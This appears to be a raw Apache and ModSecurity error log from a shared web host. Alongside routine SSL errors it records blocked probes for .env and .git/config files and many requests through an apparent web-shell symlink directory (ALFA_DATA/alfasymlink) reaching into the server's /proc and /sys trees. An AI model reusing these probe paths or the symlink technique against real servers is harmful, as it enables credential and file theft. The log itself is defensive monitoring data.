[Mon Oct 26 15:46:52.019479 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.5.232.250:62084] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:46:55.968266 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 98.83.72.38:63480] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:46:59.936335 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.73.142.41:22119] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:47:04.082261 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.203.68.145:33004] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:47:15.790666 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 44.218.6.93:15196] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/exar_serial/new_id
[Mon Oct 26 15:47:20.568704 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 3.208.146.193:58513] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:47:22.438416 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 185.191.171.11:62678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/cache_dma
[Mon Oct 26 15:47:23.753992 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 18.213.27.222:47326] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:47:31.998722 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.3.102.51:56520] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:47:43.821550 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.44.229.124:16111] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:47:47.827674 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 44.223.116.149:59488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/crash_notes
[Mon Oct 26 15:47:51.668195 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.209.187.99:8362] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:47:55.902833 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 18.214.186.220:30397] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/uhci_hcd/unbind
[Mon Oct 26 15:48:07.829732 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 184.72.84.154:40593] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:48:16.111655 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 52.200.93.170:8501] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:48:19.600146 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 185.191.171.8:56938] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:48:19.632081 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 185.191.171.8:56962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:48:19.779926 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 100.28.44.58:24897] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:48:23.694683 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 184.73.167.217:63108] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:48:27.904503 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.235.125.129:62239] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:48:36.481665 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.230.224.6:28591] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:48:39.698482 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 52.4.213.199:14301] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:10/eject
[Mon Oct 26 15:48:47.921805 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 18.215.24.66:35426] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:48:48.007663 2026] [core:crit] [pid 3089355:tid 3089355] (13)Permission denied: [client 66.240.205.34:41876] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 15:48:51.744537 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.200.93.170:52036] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:48:55.907359 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.225.24.180:13258] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:48:59.728439 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.70.123.241:57851] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:49:03.795898 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.225.243.131:57088] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:49:07.910120 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.214.176.44:44297] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:49:11.076417 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 185.191.171.13:52128] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:49:15.971231 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.223.232.55:57516] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:49:31.882729 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 44.223.115.10:61507] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ehci-pci/new_id
[Mon Oct 26 15:49:43.899086 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.227.156.153:13186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:49:51.782523 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 23.21.119.232:64180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:50:15.765465 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.209.174.110:64796] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:50:19.055150 2026] [security2:error] [pid 3058816:tid 3058816] [client 45.148.10.16:52822] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-u-8-doU5lRL_NAI8PtQAAAAE"]
[Mon Oct 26 15:50:19.055416 2026] [security2:error] [pid 3058816:tid 3058816] [client 45.148.10.16:52822] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-u-8-doU5lRL_NAI8PtQAAAAE"]
[Mon Oct 26 15:50:19.055813 2026] [security2:error] [pid 3058816:tid 3058816] [client 45.148.10.16:52822] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-u-8-doU5lRL_NAI8PtQAAAAE"]
[Mon Oct 26 15:50:19.354806 2026] [security2:error] [pid 3084025:tid 3084025] [client 45.148.10.16:52826] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-u-zbNxAL0swfcTQjCLwAAACU"]
[Mon Oct 26 15:50:19.355124 2026] [security2:error] [pid 3084025:tid 3084025] [client 45.148.10.16:52826] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-u-zbNxAL0swfcTQjCLwAAACU"]
[Mon Oct 26 15:50:19.355441 2026] [security2:error] [pid 3084025:tid 3084025] [client 45.148.10.16:52826] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-u-zbNxAL0swfcTQjCLwAAACU"]
[Mon Oct 26 15:50:19.703902 2026] [security2:error] [pid 3084056:tid 3084056] [client 45.148.10.16:52840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-u-3KvFNFM41eF9IjlCgAAADc"]
[Mon Oct 26 15:50:19.704182 2026] [security2:error] [pid 3084056:tid 3084056] [client 45.148.10.16:52840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-u-3KvFNFM41eF9IjlCgAAADc"]
[Mon Oct 26 15:50:19.704508 2026] [security2:error] [pid 3084056:tid 3084056] [client 45.148.10.16:52840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-u-3KvFNFM41eF9IjlCgAAADc"]
[Mon Oct 26 15:50:19.743349 2026] [ssl:error] [pid 3089355:tid 3089355] (5)Input/output error: [client 52.3.127.170:41317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:50:20.756499 2026] [security2:error] [pid 3052342:tid 3052342] [client 45.148.10.16:52886] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-u_HNsi4cqo2ItOKeBOQAAAAM"]
[Mon Oct 26 15:50:20.756756 2026] [security2:error] [pid 3052342:tid 3052342] [client 45.148.10.16:52886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-u_HNsi4cqo2ItOKeBOQAAAAM"]
[Mon Oct 26 15:50:20.757018 2026] [security2:error] [pid 3052342:tid 3052342] [client 45.148.10.16:52886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-u_HNsi4cqo2ItOKeBOQAAAAM"]
[Mon Oct 26 15:50:23.927698 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.204.253.129:9880] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:50:25.288222 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 85.208.96.200:39494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/objects_partial
[Mon Oct 26 15:50:35.748316 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 3.225.45.252:55182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:50:39.795775 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 18.232.11.247:8473] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:50:43.896061 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 85.208.96.194:47996] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:50:47.721421 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.71.203.206:60337] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:50:56.032456 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.206.212.24:44851] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:50:59.713225 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.203.65.83:41820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:51:00.340741 2026] [security2:error] [pid 3084023:tid 3084023] [client 16.216.88.123:20480] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/libteamdctl.so.0.1.5"] [unique_id "at-vJHMs9DEewnALzGZzzwAAACM"]
[Mon Oct 26 15:51:00.340778 2026] [security2:error] [pid 3084023:tid 3084023] [client 16.216.88.123:20480] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/libteamdctl.so.0.1.5"] [unique_id "at-vJHMs9DEewnALzGZzzwAAACM"]
[Mon Oct 26 15:51:03.915255 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 3.94.156.104:34118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/resource0
[Mon Oct 26 15:51:11.929663 2026] [core:error] [pid 3084087:tid 3084087] (13)Permission denied: [client 52.45.194.165:9906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS1/flags
[Mon Oct 26 15:51:19.777345 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 100.29.155.89:31864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:5/subsystem/tty6/subsystem/ttyS3/device/tty/ttyS0/close_delay
[Mon Oct 26 15:51:31.759645 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 100.28.49.152:54138] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:51:35.336851 2026] [security2:error] [pid 3082381:tid 3082381] [client 107.172.76.131:56249] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-vOs0m493Zc8QU76ti5gAAAA0"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 15:51:35.336916 2026] [security2:error] [pid 3082381:tid 3082381] [client 107.172.76.131:56249] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-vOs0m493Zc8QU76ti5gAAAA0"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 15:51:48.716921 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.236.185.101:33515] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:51:56.799536 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.205.163.103:23033] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/firmware_node/thermal_cooling/subsystem/cooling_device0/power/"] [unique_id "at-vXM-doU5lRL_NAI8PugAAAAE"]
[Mon Oct 26 15:51:56.799585 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.205.163.103:23033] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/firmware_node/thermal_cooling/subsystem/cooling_device0/power/"] [unique_id "at-vXM-doU5lRL_NAI8PugAAAAE"]
[Mon Oct 26 15:51:59.958320 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.205.113.104:63005] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:52:51.917062 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.234.197.175:50412] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:52:59.972381 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 23.21.250.48:41633] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:53:24.286082 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.2.58.41:30641] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:53:27.926966 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.231.193.38:26239] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:53:35.222491 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 185.191.171.8:58572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:53:40.561163 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.212.131.50:57295] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:53:47.853340 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 34.239.197.197:61191] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:54:00.116799 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.84.200.43:2978] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:54:12.167687 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.205.180.155:48491] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:54:19.926001 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.204.253.129:50774] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:54:24.635966 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.230.69.161:47179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:54:27.807873 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.80.73.122:16028] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:54:35.891630 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 85.208.96.202:55676] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:54:45.359848 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 185.191.171.1:22720] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/tmp/tmp.5Su9PHsYDq
[Mon Oct 26 15:54:51.715852 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 3.229.95.193:3712] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:54:54.729687 2026] [security2:error] [pid 3089355:tid 3089355] [client 43.153.48.240:33832] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimoagenda.php"] [unique_id "at-wDml9busrkyxI7OQV_gAAAAI"]
[Mon Oct 26 15:55:00.162692 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.217.177.142:47415] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:55:07.497535 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.7.13.143:13964] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:55:12.097797 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.224.132.215:12516] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:55:15.118213 2026] [authz_core:error] [pid 3085795:tid 3085795] [client 117.27.135.82:26488] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 15:55:16.400539 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 100.25.120.246:7442] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:55:27.258900 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 35.172.125.172:11618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:55:35.435678 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.81.253.213:34863] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:55:39.116450 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.204.37.237:7793] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:55:55.192036 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 23.23.137.202:44168] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:56:06.963113 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 18.215.112.101:58584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:56:11.437717 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.91.122.193:46798] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:56:14.935066 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 35.173.38.202:23825] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:56:34.600218 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.207.252.58:18167] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:56:42.633695 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.83.56.1:24064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:57:02.424988 2026] [ssl:error] [pid 3084023:tid 3084023] (22)Invalid argument: [client 35.173.18.61:50111] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:57:06.242433 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 23.23.214.190:58132] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:57:14.432406 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 18.206.47.187:18931] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:57:30.173312 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.45.77.169:20764] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:57:38.173429 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.200.58.199:51611] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:57:42.195545 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 3.230.69.161:52044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/driver/new_id
[Mon Oct 26 15:57:46.165564 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.230.124.21:10835] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:57:50.276634 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 44.212.232.231:13119] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:57:58.244642 2026] [ssl:error] [pid 3085795:tid 3085795] (5)Input/output error: [client 184.73.239.35:24152] AH02013: coalesce failed to read from data bucket
